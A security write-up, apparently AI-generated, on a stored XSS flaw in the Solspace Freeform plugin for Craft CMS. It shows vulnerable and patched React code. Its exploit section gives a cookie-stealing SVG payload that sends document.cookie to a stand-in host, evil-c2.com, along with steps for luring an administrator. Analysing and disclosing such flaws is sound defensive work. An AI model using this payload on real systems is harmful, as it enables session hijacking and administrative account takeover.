CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-JP3Q-WWP3-PWV9

Freeform Fallacy: DOMinating Craft CMS via Stored XSS

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 15, 2026·5 min read·27 visits

Executive Summary (TL;DR)

Solspace Freeform for Craft CMS (v5.x < 5.14.7) contains a Stored XSS vulnerability in the Control Panel. Authentication is required, but a low-level user can inject malicious JavaScript into form labels and integration metadata. When an admin views the form builder, the script executes via React's `dangerouslySetInnerHTML`, leading to session hijacking or account takeover.

In the modern web ecosystem, we often treat React as a silver bullet against Cross-Site Scripting (XSS). After all, it escapes content by default, right? Well, only until a developer decides to bypass those protections for 'convenience.' CVE-2026-26188 is a classic example of this hubris within the Solspace Freeform plugin for Craft CMS. By abusing the `dangerouslySetInnerHTML` property in the form builder's Control Panel, a low-privileged user can plant a persistent payload that detonates the moment an administrator tries to edit a form. It's a textbook Stored XSS that turns a routine content update into a full administrative compromise.

The Hook: Forms Over Function

Craft CMS is the darling of the agency world—flexible, pretty, and generally secure. But like any CMS, its armor is only as strong as the third-party plugins you strap onto it. Enter Solspace Freeform, the go-to plugin for building complex forms without writing code. It’s a powerful tool that allows content editors to drag-and-drop fields, configure integrations (Salesforce, HubSpot), and manage notifications.

Here’s the rub: To make that drag-and-drop interface responsive and snappy, the Freeform Control Panel (CP) relies heavily on a React frontend. The developers needed to render dynamic HTML content—think custom labels, help text with links, or icons for those third-party integrations. This is where the architectural temptation creeps in. Rendering HTML strings inside a React component is annoying; you have to parse it, sanitize it, or... you can just use the React equivalent of a raw pointer.

The vulnerability lies in the trust boundary. The application assumed that anyone with permission to create a form was trustworthy. It allowed these users to input arbitrary strings for field labels and option names, which the backend happily stored. The real horror show begins when those strings are retrieved and fed directly into the DOM of a privileged administrator.

The Flaw: A Dangerous Reaction

React, by design, hates raw HTML. It wants to manage the DOM itself. To render raw HTML strings, developers must use a property with a name that literally screams "STOP, LOOK AT WHAT YOU ARE DOING": dangerouslySetInnerHTML. The React team named it this way explicitly to prevent accidental XSS. It is not a subtle hint.

In CVE-2026-26188, the Freeform developers seemingly ignored the warning label. Throughout the Control Panel's codebase—specifically in the form builder and integration settings—user-controlled data was passed directly into this property without sanitization.

We aren't talking about one obscure location. The vulnerability was systemic. It affected:

  • Form Field Labels: The text shown next to an input.
  • Dropdown Options: The text inside a select menu.
  • Integration Metadata: SVG icons and names for CRM connections.
  • Notification Tokens: Template strings used in email alerts.

Because this data is stored in the database, it sits there like a landmine. The payload doesn't execute when the low-level user saves the form. It executes later, when a Super Admin opens the form builder to check the work. This delayed execution is what makes Stored XSS so insidious—the victim isn't the attacker; the victim is the person with the keys to the kingdom.

The Code: The Smoking Gun

Let's look at the diff. It’s rare to see a patch so clearly illustrate the mistake. The vulnerability existed in multiple React components, but the pattern was identical in all of them. Here is a snippet from packages/client/src/app/components/elements/custom-dropdown/dropdown.options.tsx.

The Vulnerable Code:

// 'option.label' comes directly from the database
<span dangerouslySetInnerHTML={{ __html: option.label }} />

It’s almost poetic in its simplicity. Take the string, shove it into the HTML. If option.label is <b>Bold</b>, you get bold text. If option.label is <img src=x onerror=alert(1)>, you get a hacked admin.

The Fix (v5.14.7):

import { sanitize } from '../../utils/sanitize';
 
// ... later in the render function
<span
  dangerouslySetInnerHTML={{
    __html: sanitize(option.label),
  }}
/>

The fix wasn't to stop using dangerouslySetInnerHTML (which would have required a massive refactor), but to introduce a sanitize() utility, likely wrapping DOMPurify. This ensures that while HTML tags like <b> or <i> might pass through, dangerous attributes like onerror or tags like <script> are stripped before React ever sees them.

The Exploit: Building the Trap

So, how do we weaponize this? We need a user account. It doesn't need to be an admin. It just needs the permission to "Manage Forms" or "Access Freeform". In many corporate setups, this permission is granted to marketing interns or content writers.

Step 1: The Setup Log in as the low-privilege user and navigate to the Freeform dashboard. Create a new form or edit an existing one.

Step 2: The Injection Drag a "Select" (Dropdown) field onto the canvas. In the configuration sidebar, look for the "Options" list. In the "Label" field for one of the options, insert the payload.

We want to do more than pop an alert box. We want persistence. We want the admin's session. Let's use an SVG payload to avoid some filter basics:

Sales Inquiry <svg/onload="fetch('https://evil-c2.com/log?cookie='+btoa(document.cookie))">

Step 3: The Wait Save the form. The interface might look a bit glitchy depending on how the browser renders the SVG, but the payload is now in the database.

Step 4: The Detonation Wait for an administrator to log in. Maybe you send them a Slack message: "Hey, the Sales Inquiry form looks weird, can you check it?" The admin navigates to the Freeform builder. The React component mounts. The dangerouslySetInnerHTML prop receives our payload. The browser parses the SVG. The onload event fires. The admin's session ID is beamed to your C2 server. You now own the Craft CMS instance.

The Impact: Why Should We Panic?

CVSS 5.1 might seem low to the uninitiated (

Official Patches

SolspaceOfficial Release Notes for 5.14.7

Fix Analysis (1)

Technical Appendix

CVSS Score
5.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
EPSS Probability
0.04%
Top 87% most exploited

Affected Systems

Craft CMS (running Freeform plugin)Solspace Freeform Plugin v5.x < 5.14.7

Affected Versions Detail

Product
Affected Versions
Fixed Version
Freeform
Solspace
< 5.14.75.14.7
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork
CVSS v4.05.1 (Medium)
EPSS Score0.04%
Exploit StatusPoC Available
Affected ComponentControl Panel (Form Builder)

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
T1552Unsecured Credentials
Credential Access
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Patch Committed
2026-01-21
Version 5.14.7 Released
2026-01-22
CVE Published
2026-02-12

References & Sources

  • [1]GitHub Advisory: Stored XSS in Solspace Freeform
Related Vulnerabilities
CVE-2026-26188

More Reports

•about 1 hour ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
2 views•5 min read
•about 2 hours ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 3 hours ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
6 views•5 min read
•about 4 hours ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 5 hours ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
6 views•7 min read
•about 6 hours ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read